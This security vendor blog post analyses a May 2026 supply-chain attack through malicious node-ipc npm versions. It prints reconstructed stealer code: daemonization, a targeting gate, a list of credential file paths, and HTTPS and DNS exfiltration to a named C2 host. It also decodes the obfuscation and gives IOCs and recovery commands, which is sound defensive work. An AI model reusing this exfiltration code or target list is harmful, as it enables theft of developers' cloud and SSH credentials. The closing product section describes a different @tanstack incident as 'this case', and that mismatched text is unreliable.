Back to Blog

Active Supply Chain Attack: Malicious node-ipc Versions Published to npm

Active Supply Chain Attack: Malicious node-ipc Versions Published to npm StepSecurity has detected multiple malicious releases of the popular node-ipc npm package. Three versions are currently known to be compromised, containing an obfuscated payload designed to steal cloud credentials, SSH keys, and CI/CD secrets. Our team is actively analyzing the attack, and this post will be updated as our investigation progresses
Sai Likhith
View LinkedIn

May 14, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
Table of Contents

On May 14, 2026, three malicious versions of node-ipc, a foundational Node.js inter-process communication library with over 10 million weekly downloads, were simultaneously published to the npm registry. Versions 9.1.6, 9.2.3, and 12.0.1 each carry an identical 80 KB obfuscated credential-stealing payload injected into the package's CommonJS bundle. The compromised versions were published by the account atiertant (a.tiertant@atlantis-software.net) -- a maintainer account not responsible for any prior release of the package. This incident was detected by StepSecurity AI Package Analyst.

The attack is surgically precise. Publishing across two major version lines at once is a deliberate blast-radius maximization strategy: users pinned to ~9.1.x, ~9.2.x, ^9, ^12, or ~12.0 all received the compromised package automatically on their next install or lockfile refresh. The 9.x releases are entirely fabricated -- the 9.x line never shipped a CommonJS bundle before this attack.

Once loaded via require('node-ipc'), the payload silently harvests over 90 categories of credentials -- AWS, Azure, GCP, SSH keys, Kubernetes tokens, GitHub CLI configs, Claude AI and Kiro IDE settings, Terraform state, database passwords, shell history, and more -- compresses everything into a gzip archive, and exfiltrates it to an attacker-controlled server masquerading as Azure infrastructure. The ESM entry point is untouched; only the CommonJS bundle is compromised.

The package was originally authored by Brandon Nozaki Miller (RIAEvangelist) and was previously involved in the 2022 peacenotwar incident, which deployed a geopolitically motivated file-destruction payload. This 2026 attack is independently staged by a different actor with a purely financial credential-theft motive.

If you have installed any of the compromised versions listed below, assume all secrets accessible in that environment are compromised.

Compromised Versions

Three simultaneous malicious releases target different semver range patterns used in real projects:

  • node-ipc@9.1.6
  • node-ipc@9.2.3
  • node-ipc@12.0.1

npm's latest dist-tag now points to node-ipc@12.0.1. Any project that runs npm install node-ipc without a pinned version will pull the compromised tarball.

All three malicious versions were published on 2026-05-14. The compromised node-ipc.cjs file is byte-for-byte identical across all three, confirming a single staging operation: one compiled, obfuscated bundle was inserted into three separate package.json contexts before simultaneous publishing. Versions 11.1.0 and other non-affected lines are clean. The 2022 peacenotwar incident (versions 10.1.1/10.1.2) was a different attack by a different actor.

How node-ipc Was Compromised

This attack relied on a compromised or rogue maintainer account rather than a CI/CD pipeline hijack. The chain breaks down into three steps.

Step 1: Rogue Maintainer Account Publishes Poisoned Releases

Version 12.0.0 was published on August 12, 2024 by riaevangelist, the legitimate original author. Twenty-one months later, three new versions were published by a separate account, atiertant (a.tiertant@atlantis-software.net), which currently appears in node-ipc's maintainer list but has no prior publish history on this package. The 21-month gap is a recurring pattern in npm supply chain attacks targeting dormant high-download packages. Either the atiertant credentials were freshly compromised, or the account was added as a maintainer specifically to enable this publish operation.

Step 2: Payload Injection via CommonJS Bundle

The malicious payload is an Immediately Invoked Function Expression (IIFE) appended at the very end of node-ipc.cjs, after the final module.exports line. Because Node.js evaluates every top-level statement in a CommonJS module on load, the IIFE fires unconditionally on every require('node-ipc'). No method invocation, configuration flag, or trigger condition is needed beyond importing the package. There are no preinstall, install, or postinstall scripts in package.json -- this is a deliberate evasion choice that makes the payload invisible to tools that only scan lifecycle hooks.

The ESM bundle (node-ipc.js) and all individual source files are untouched. Projects that import via import ipc from 'node-ipc' with a bundler that resolves the "module" field are unaffected. Projects using require('node-ipc') or any toolchain that resolves "main" to node-ipc.cjs are at risk.

Step 3: Multi-Version Blast Radius Strategy

Rather than poisoning a single release, the attacker published across two major version lines simultaneously. The 9.x series is particularly interesting because the legitimate 9.x line never contained a node-ipc.cjs bundle at all. The attacker copied the 12.x package structure into entirely synthetic 9.1.6 and 9.2.3 tarballs. There is no real codebase being patched -- the 9.x compromised releases are wholly fabricated packages that share only a name with their legitimate predecessors.

Attack Chain: Stage by Stage

The following diagram shows the full attack flow from module load to data exfiltration:

Stage 1: Module Load Triggers IIFE

The obfuscated IIFE at line 1271 of node-ipc.cjs runs the instant Node.js evaluates the file. It schedules the rest of its work via setImmediate() to avoid blocking the event loop, making execution less likely to raise immediate red flags in application logs.

The diff between the last clean release and the compromised version is surgical -- a single line addition of 80,079 characters:

--- node-ipc-12.0.0/node-ipc.cjs    1269 lines, 37 KB (clean)
+++ node-ipc-12.0.1/node-ipc.cjs    1271 lines, 117 KB (compromised)

  var singleton = new IPCModule();
  0 && (module.exports = { IPCModule });
+
+(function(_0xaed59b,_0x282d65){var _0x4524e4=_0x1a49, ...  /* 80 KB obfuscated payload */

There are no install-time hooks in package.json. The payload does not run during npm install. It fires the first time any application calls require('node-ipc'), making it invisible to tools that only scan preinstall / postinstall hooks.

Stage 2: Configuration Decoding

The payload calls its custom decoder function three times to unpack hard-coded attack configuration from a custom base-16 encoded string table:

_0x501a65 = {
  r: 'sh.azurestaticprovider.net:443',   // C2 address
  k: 'qZ8pL3vNxR9wKmTyHbVcFgDsJaEoUi', // auth/HMAC key
  z: 'bt.node.js',                       // request identifier
  w:  os.release() + 'nt-' + process.env[...]  // system fingerprint
}

Stage 3: Targeting Gate (12.0.1 only)

Version 12.0.1 contains a precision targeting gate that the 9.x versions do not. The very first operation the payload performs is a SHA-256 fingerprint check. It computes SHA256(path.normalize(module.filename).toLowerCase()) and compares it to a hardcoded hash assembled from eight obfuscated table fragments:

// Reconstructed from deobfuscated source
const TARGET_HASH = [
  'bf9d8c0c',  // _0x2d1488['qaQKf']
  '3ed3ceaa',  // _0x2d1488['WvVHB']
  '831a13de',  // _0x2d1488['bEBCM']
  '27f1b1c7',  // _0x2d1488['IZHwy']
  'c7b7f01d',  // _0x2d1488['IhWjW']
  '2db4103b',  // _0x2d1488['oMpYu']
  'fdba4191',  // _0x2d1488['fZfOW']
  '940b0301',  // _0x2d1488['MjCcY']
].join('');
// = 'bf9d8c0c3ed3ceaa831a13de27f1b1c7c7b7f01d2db4103bfdba4191940b0301'

const isTarget = !!module.filename &&
  crypto.createHash('sha256')
        .update(path.normalize(module.filename).toLowerCase(), 'utf8')
        .digest('hex') === TARGET_HASH;

if (!isTarget) return; // silent exit on non-target systems

This means 12.0.1 is entirely inert on any machine whose primary module path does not hash to the target value. The attacker knows exactly which project or developer is being targeted and pre-computed the hash of their entry point before publishing. Critically, the SHA-256 hash is opaque to defenders -- there is no way to reverse the hash to determine which specific path is being targeted without brute-forcing the input space. If you installed 12.0.1, treat the compromise as certain, not possible. The 9.x versions do not have this gate and will execute the full payload on any system that loads them.

Stage 4: Daemonization

On a matching system (or unconditionally for 9.x), the payload checks for the environment variable __ntw. If absent, it immediately spawns a detached clone of the current process with __ntw=1 set, then allows the parent to continue normally so the application never hangs or errors:

// Reconstructed daemonization logic
const childEnv = Object.assign({}, process.env, { __ntw: '1' });
delete childEnv.NODE_OPTIONS;  // strip any debugger/inspector flags

const daemon = child_process.fork(
  path.normalize(module.filename),
  [],
  {
    cwd: process.cwd(),
    detached: true,
    stdio: 'ignore',      // no stdout/stderr visible to parent
    env: childEnv,
    execArgv: [],
    windowsHide: true,
  }
);
daemon.channel?.unref?.();
daemon.unref();           // parent continues without waiting

Stage 5: System Enumeration and Credential Harvesting

The daemon creates a staging directory at $TMPDIR/nt-<PID>/, runs execSync('uname -a') to collect OS information (the command is spelled out character-by-character using String.fromCharCode to evade simple string matching), then serializes all environment variables to JSON.

A 5,141-character encoded blob (decoded to 2,570 bytes of UTF-8) holds 90+ file-path patterns. The payload resolves each pattern using statSync() and readdirSync(), then reads matching files. The target list spans the full spectrum of developer and cloud credentials:

  • Cloud providers: ~/.aws/credentials, ~/.aws/config, ~/.aws/sso/cache/*, ~/.azure/accessTokens.json, ~/.azure/msal_token_cache.*, ~/.config/gcloud/application_default_credentials.json, ~/.config/gcloud/credentials.db, plus OCI, DigitalOcean, Hetzner, Scaleway, Alibaba Cloud, IBM Cloud, Fly.io, Vercel, Railway, Snowflake, MinIO
  • SSH and Git: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id*, ~/.ssh/known_hosts, /etc/ssh/ssh_host_*_key, ~/.git-credentials, ~/.gitconfig, ~/.config/gh/hosts.yml
  • Kubernetes and containers: ~/.kube/config, ~/.docker/config.json, /var/run/secrets/kubernetes.io/serviceaccount/token, /etc/rancher/k3s/k3s.yaml
  • AI tools: .claude.json, ~/.claude.json, ~/.claude/mcp.json, .kiro/settings/mcp.json
  • Terraform and IaC: ~/.terraform.d/credentials.tfrc.json, ~/.terraformrc, **/terraform.tfvars, **/*.auto.tfvars
  • Developer tools: ~/.npmrc, ~/.pypirc, ~/.netrc, ~/.yarnrc
  • Databases: ~/.pgpass, ~/.my.cnf, ~/.snowflake/connections.toml, **/config/database.yml
  • CI/CD workflows: **/.github/workflows/*.yml, **/.gitlab-ci.yml, **/.env.production
  • Shell history: ~/.bash_history, ~/.zsh_history, ~/.python_history, ~/.mysql_history
  • macOS keychains: ~/Library/Keychains/*.keychain-db
  • Environment files: .env, **/.env.local, **/.env.production

All collected data is assembled in memory into a ustar-format TAR archive. Two fixed files anchor the archive: uname.txt (OS metadata and uname -a output) and envs.txt (all environment variable key-value pairs, sorted). Every matched credential file is added under its resolved path. The archive is then compressed with zlib.gzipSync().

Stage 6: Dual-Channel Exfiltration

The payload attempts two independent exfiltration channels simultaneously. Either channel succeeding is sufficient for the attacker to receive the stolen data.

Channel 1: HTTPS POST to fake Azure domain

// C2 server: sh.azurestaticprovider.net:443
// Resolved IP at time of analysis: 37.16.75.69
//
// The domain is crafted to blend into Azure-heavy environments.
// "azurestaticprovider" reads as a plausible Azure service subdomain.
//
// Each request is chunked and HMAC-SHA256 authenticated:
const sig = crypto.createHmac('sha256', key + '|t')
                  .update(body)
                  .digest('hex')
                  .slice(0, N);

// JSON metadata sent in first chunk (header):
{
  v: 1,
  machineHex: "<machine fingerprint>",
  cloud: "none",
  archivePath: "/tmp/nt-1234/abc.tar.gz",
  gzipBytes: 98304,
  hdrChunks: 2,
  datChunks: 31,
  hostLabel: "<session ID>"
}

Channel 2: DNS TXT exfiltration (direct C2 sink)

Before transmitting, the payload explicitly overrides the system DNS resolver with Google Public DNS (8.8.8.8) to bypass any local DNS-based security controls. It first resolves sh.azurestaticprovider.net using 1.1.1.1 (primary) or 8.8.8.8 (fallback) to obtain the C2 IP. Then it re-targets the resolver directly at the C2 IP for all exfiltration queries:

// DNS exfiltration bypasses all public resolvers
const resolver = new dns.promises.Resolver();
resolver.setServers(['37.16.75.69']);  // direct to C2 IP, not public DNS

// Each chunk of the TAR archive is hex-encoded as a DNS TXT query:
//   <data_chunk>.<session_id>.<chunk_index>.<total>.bt.node.js
//
// The C2 server doubles as a custom DNS sink on port 53.
// bt.node.js has no TLD registration -- it exists only as a cosmetic
// suffix inside UDP packets that never leave the attacker's infrastructure.
await resolver.resolveTxt(queryLabel);

The direct-to-C2 DNS sink is a notable anti-detection technique. Because the exfiltration queries never touch public DNS resolvers, there is no observable bt.node.js activity in public DNS logs. Organizations relying solely on DNS logging through corporate resolvers would not see this traffic.

Obfuscation Techniques

The payload uses javascript-obfuscator with four layers of protection stacked together to resist static analysis:

  • String array shuffling: A 443-entry string table is rotated by exactly 340 shifts at load time, validated by a checksum-guarded IIFE targeting 0xb5c88 (744,584 decimal). Every sensitive string lives in this shuffled array rather than inline in the code.
  • Control flow flattening: Execution order is encoded as pipe-delimited strings (e.g., '5|1|4|3|0|2') consumed by switch dispatch loops, replacing natural sequential code.
  • Dead code injection: Dummy comparison functions and opaque predicate variables are interspersed throughout to mislead automated analysis tools.
  • Custom base-16 encoding with reversed nibbles: Three critical values (C2 address, auth key, module ID) and the entire 2,570-byte target file list are stored as blobs encoded with the alphabet 0123456789GHJKMP, decoded at runtime by function _0x485bae().

The Custom Base-16 Cipher

The most effective obfuscation layer is the custom base-16 encoding combined with reversed nibble order. Standard hex letters a-f are replaced with visually distinct uppercase characters (G=10, H=11, J=12, K=13, M=14, P=15), and bytes are assembled in little-endian nibble order -- the opposite of conventional hex encoding. Anyone who correctly identifies the custom alphabet and writes a standard decoder still recovers garbage. You have to reverse the nibble pairs to get plaintext:

// Custom base-16 alphabet: 0123456789GHJKMP
// G=10(a)  H=11(b)  J=12(c)  K=13(d)  M=14(e)  P=15(f)
// Letters I, L, N, O were skipped -- too similar to 1, 1, 0, 0

// Encoded C2 address in string table (position 32):
raw = '3786M216G75727563747164796360727P66796465627M2M65647G34343339'

// Standard decode (WRONG -- high nibble first):
// 37 -> 0x37 = '7'   86 -> 0x86 = garbage

// Reversed decode (CORRECT -- low nibble first):
// 37 -> (7<<4)|3 = 0x73 = 's'
// 86 -> (6<<4)|8 = 0x68 = 'h'
// M2 -> (2<<4)|14= 0x2E = '.'
// ...
// Result: "sh.azurestaticprovider.net:443"

// Encoded auth key (position 324):
'17G58307J43367M487259377H4K645978426653664764437G41654P655966'
// Decoded: 'qZ8pL3vNxR9wKmTyHbVcFgDsJaEoUi'

Indicators of Compromise

File Hashes

  • node-ipc.cjs SHA-256 (identical in all three versions): 96097e0612d9575cb133021017fb1a5c68a03b60f9f3d24ebdc0e628d9034144
  • node-ipc.cjs SHA-1 (identical in all three versions): ab7388363936bf527afd4173b5728c7cdbdd01ab
  • Injected IIFE block SHA-256 (80,078 bytes): b2001dc4e13d0244f96e70258346700109907b90e1d0b09522778829dcd5e4cf
  • Injected IIFE block MD5: 9672e9fb93a457f1d359511b4e53490d
  • node-ipc-12.0.1.tgz SHA-1: fe5d107b9d285327af579259a32977c4f475fa26
  • node-ipc-12.0.1.tgz SHA-256: 78a82d93b4f580835f5823b85a3d9ee1f03a15ee6f0e01b4eac86252a7002981
  • node-ipc-9.2.3.tgz SHA-1: 58ae7338960ef525d7c655023d7c81e3ddb283d6
  • node-ipc-9.2.3.tgz SHA-256: c2f4dc64aec4631540a568e88932b61daebbfb7e8281b812fa01b7215f9be9ea
  • node-ipc-9.1.6.tgz SHA-1: f5974a9774a22a863728b960543f68e7009099ef
  • node-ipc-9.1.6.tgz SHA-256: 449e4265979b5fdb2d3446c021af437e815debd66de7da2fe54f1ad93cbcc75e

Network Indicators

  • C2 domain (typosquatting Azure): sh.azurestaticprovider[.]net -- NOT a Microsoft domain. Mimics azurestaticapps.net and azurewebsites.net in logs.
  • C2 port: 443 (HTTPS, designed to blend with normal TLS traffic)
  • C2 resolved IP: 37.16.75.69 -- Block at network layer
  • DNS C2 sink: 37.16.75.69 (UDP 53) -- C2 server doubles as DNS sink; receives raw exfil queries directly
  • DNS resolver override: 8.8.8.8 / 1.1.1.1 -- Used only to resolve C2 hostname, not for exfiltration
  • DNS exfil label suffix: *.bt.node.js -- Cosmetic suffix in exfil TXT queries; never appears in public DNS

Embedded Payload Identifiers

  • Hardcoded HMAC key: qZ8pL3vNxR9wKmTyHbVcFgDsJaEoUi
  • Module/request identifier: bt.node.js
  • Targeting hash (12.0.1): bf9d8c0c3ed3ceaa831a13de27f1b1c7c7b7f01d2db4103bfdba4191940b0301
  • Staging directory: $TMPDIR/nt-<PID>/
  • Daemon env marker: __ntw=1
  • Payload location: node-ipc.cjs line 1271 (80,079-byte single obfuscated line)
  • Obfuscator string-array shuffle target: 0xb5c88 (744,584 decimal), 340 left-rotations of 443 entries

Detection Signals

  • Presence of node-ipc@9.1.6, @9.2.3, or @12.0.1 in lockfiles or node_modules
  • node-ipc.cjs file size anomaly: 117 KB vs 37 KB for clean versions
  • Outbound HTTPS to sh.azurestaticprovider.net or 37.16.75.69:443
  • Unexpected outbound UDP/53 traffic to 37.16.75.69 from application processes
  • Directories matching $TMPDIR/nt-* on the filesystem
  • Processes with __ntw=1 in their environment

Am I Affected?

You are potentially affected if any of the following is true:

1. Direct dependency: Your project's package.json lists node-ipc with a range that resolves to 9.1.6, 9.2.3, or 12.0.1:

npm ls node-ipc

2. Transitive dependency: A package your project depends on depends on node-ipc:

npm ls node-ipc --all 2>/dev/null | grep -E '9\.1\.6|9\.2\.3|12\.0\.1'

3. Lock file check: Search your lockfiles directly:

# npm
grep -E '"node-ipc".*"(9\.1\.6|9\.2\.3|12\.0\.1)"' package-lock.json

# yarn
grep -E 'node-ipc@(9\.1\.6|9\.2\.3|12\.0\.1)' yarn.lock

# pnpm
grep -E 'node-ipc.*9\.1\.6|9\.2\.3|12\.0\.1' pnpm-lock.yaml

4. CI/CD environments: If your pipelines install npm dependencies, check your workflow run history. Any job that ran npm install or npm ci after 2026-05-14 against an unlocked or loose semver dependency on node-ipc in the 9.x or 12.x range may have pulled the compromised version.

If you installed any of the three compromised versions: assume all credentials, tokens, and environment secrets present on that machine or CI/CD environment at the time are compromised. Rotate all secrets immediately. Do not wait for confirmation of exfiltration. Treat the compromise as certain, not possible.

For the Community: Recovery Steps

Developer Machines and Code Repositories

1. Pin to a safe version. Update your dependency to one of the last known-clean releases immediately:# For 9.x users

# For 9.x users
npm install node-ipc@9.2.1

# For 12.x users
npm install node-ipc@12.0.0

2. Regenerate your lock file after updating to ensure the compromised version is fully evicted from the resolved dependency graph.

3. Check for staging directories left by the daemon:

# macOS / Linux
ls -la "${TMPDIR}/nt-"* 2>/dev/null || ls -la /tmp/nt-* 2>/dev/null

# If found, the daemon executed on this machine.
# Preserve for forensics before deleting.

4. Check for daemon processes with the __ntw=1 marker:

# Linux
grep -rl '__ntw' /proc/*/environ 2>/dev/null

# macOS
ps auxeww | grep __ntw

5. Rotate all credentials accessible on the affected system. Priority order:

  1. AWS IAM access keys and session tokens
  2. SSH private keys -- revoke from all authorized_keys lists
  3. Kubernetes service account tokens
  4. GitHub personal access tokens and OAuth apps
  5. Cloud provider service account keys (Azure, GCP, OCI)
  6. All .env-based secrets in affected repositories
  7. Claude AI / Anthropic API keys (targeted by ~/.claude.json and ~/.claude/mcp.json)
  8. Database passwords (PostgreSQL ~/.pgpass, MySQL ~/.my.cnf)
  9. npm publish tokens, ~/.npmrc
  10. Investigate DNS and HTTPS egress logs for connections to sh.azurestaticprovider[.]net or 37.16.75.69 after 2026-05-14.

For CI/CD Environments

  1. Rotate all CI secrets immediately. If node-ipc@9.1.6, @9.2.3, or @12.0.1 was installed in any GitHub Actions, GitLab CI, CircleCI, or other workflow runner, assume every secret injected into that environment -- including GITHUB_TOKEN, cloud credentials, deploy keys, and any repository secrets -- was captured.
  2. Audit npm publish activity for any packages accessible with the rotated tokens.
  3. Review workflow run logs for unexpected network activity or detached processes.
  4. Audit OIDC and deploy tokens. If a compromised build job had access to deploy credentials or OIDC role assumption chains, review the blast radius for those pipelines specifically.
  5. Audit cloud audit logs. Review CloudTrail, Azure Activity Log, and GCP Audit Log for actions performed by IAM identities whose credentials were available during the compromised window. Look for unexpected role assumptions, new IAM users, and cross-account access.
  6. Enable egress controls. Block outbound traffic from CI/CD runners to arbitrary internet hosts. Only known registries and APIs should be reachable from build environments.

For StepSecurity Enterprise Customers

Threat Center Alert

StepSecurity has published a threat intel alert in the Threat Center with all relevant links to check if your organization is affected. The alert includes the full attack summary, technical analysis, IOCs, affected versions, and remediation steps, so teams have everything needed to triage and respond immediately. Threat Center alerts are delivered directly into existing SIEM workflows for real-time visibility.

Harden-Runner

Harden-Runner is a purpose-built security agent for CI/CD runners.

It enforces a network egress allowlist in GitHub Actions, restricting outbound network traffic to only allowed endpoints. Both DNS and network-level enforcement prevent covert data exfiltration

Secure Registry

StepSecurity Secure Registry provides each enterprise customer with a dedicated, policy-enforced npm registry that sits between your existing package manager (such as JFrog Artifactory) and the public npm registry. Instead of fetching packages directly from registry.npmjs.org, your infrastructure routes requests through your StepSecurity registry, which applies configurable security policies before serving any package.

The primary defense here is the cooldown period. Newly published package versions are held for a configurable window (shown below set to 10 days) before being served to any developer machine or CI/CD pipeline. When the compromised @tanstack/history@1.161.12 and other affected packages were published to npm, Secure Registry customers were never exposed. Their registries continued serving the last known safe versions while the cooldown clock ran, giving the community and StepSecurity's AI Package Analyst time to flag and permanently block the malicious releases.

Detect Compromised Developer Machines

Supply chain attacks like this one do not stop at the CI/CD pipeline. The malicious router_init.js payload embedded in each compromised @tanstack package harvests credentials, SSH keys, cloud tokens, cryptocurrency wallets, and AI tool configurations from the local environment. Every developer who ran npm install with a compromised @tanstack version outside of CI is a potential point of compromise.

StepSecurity Dev Machine Guard gives security teams real-time visibility into npm packages installed across every enrolled developer device. When a malicious package is identified, teams can immediately search by package name and version to discover all impacted machines, as shown below with @tanstack/react-router@1.169.8 and @tanstack/router-core@1.169.5.

npm Package Cooldown Check

Newly published npm packages are temporarily blocked during a configurable cooldown window. When a PR introduces or updates to a recently published version, the check automatically fails. Since most malicious packages are identified within hours, this creates a crucial safety buffer. In this case, the compromised @tanstack versions were published in rapid succession on May 11, so any PR updating to @tanstack/react-router@1.169.8 or @tanstack/history@1.161.12 during the cooldown period would have been blocked automatically.

npm Package Compromised Updates Check

StepSecurity maintains a real-time database of known malicious and high-risk npm packages, updated continuously, often before official CVEs are filed. If a PR attempts to introduce a compromised package, the check fails and the merge is blocked. All compromised @tanstack versions, along with affected @uipath, @draftlab, and other packages, were added to this database within minutes of detection.

npm Package Search

Search across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius: which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.

AI Package Analyst

AI Package Analyst continuously monitors the npm registry for suspicious releases in real time, scoring packages for supply chain risk before you install them. In this case, the compromised @tanstack versions were flagged within minutes of publication, giving teams time to investigate, confirm malicious intent, and act before the packages accumulated significant installs. The 3.7x tarball size anomaly, injected router_init.js at the package root, and the optionalDependencies reference to a GitHub fork commit were all surfaced as high-confidence supply chain indicators. Alerts include the full behavioral analysis, decoded payload details, and direct links to the OSS Security Feed.

Technical Notes

  • No persistence mechanism: The malware runs once per process lifetime on module load. In long-running services or CI/CD pipelines that frequently start new Node.js processes, the exfiltration attempt fires on every startup.
  • Account compromise timing: The 21-month gap between 12.0.0 (2024-08-12) and the three compromised releases (all 2026-05-14) strongly suggests the npm publisher account was compromised months after the last legitimate release -- a recurring pattern in supply chain attacks targeting dormant high-download packages.
  • Identical payload strategy: The byte-for-byte identical node-ipc.cjs across all three versions confirms a single staging operation: one compiled, obfuscated bundle was inserted into three separate package.json contexts before simultaneous publishing.
  • 9.x fabrication: The 9.x series never contained a node-ipc.cjs bundle. The attacker copied the 12.x package structure, replaced the version field, and published 9.1.6 and 9.2.3 as entirely synthetic packages -- there is no legitimate codebase they patch or extend.
  • Domain name evasion: azurestaticprovider.net is not a Microsoft-owned domain. It is a typosquatting domain crafted to visually blend with legitimate Azure infrastructure names like azurestaticapps.net and azurewebsites.net. Security teams seeing this domain in logs may assume it is normal Azure traffic.
  • Connection to 2022 peacenotwar: While the same npm package namespace was used, the 2022 attack targeted versions 10.1.1-10.1.2 with a file-destruction payload against specific geographies. This 2026 attack targets a different set of versions and is financially motivated (credential theft) rather than destructive. Different threat actor is the most likely assessment.

References

Blog

Explore Related Posts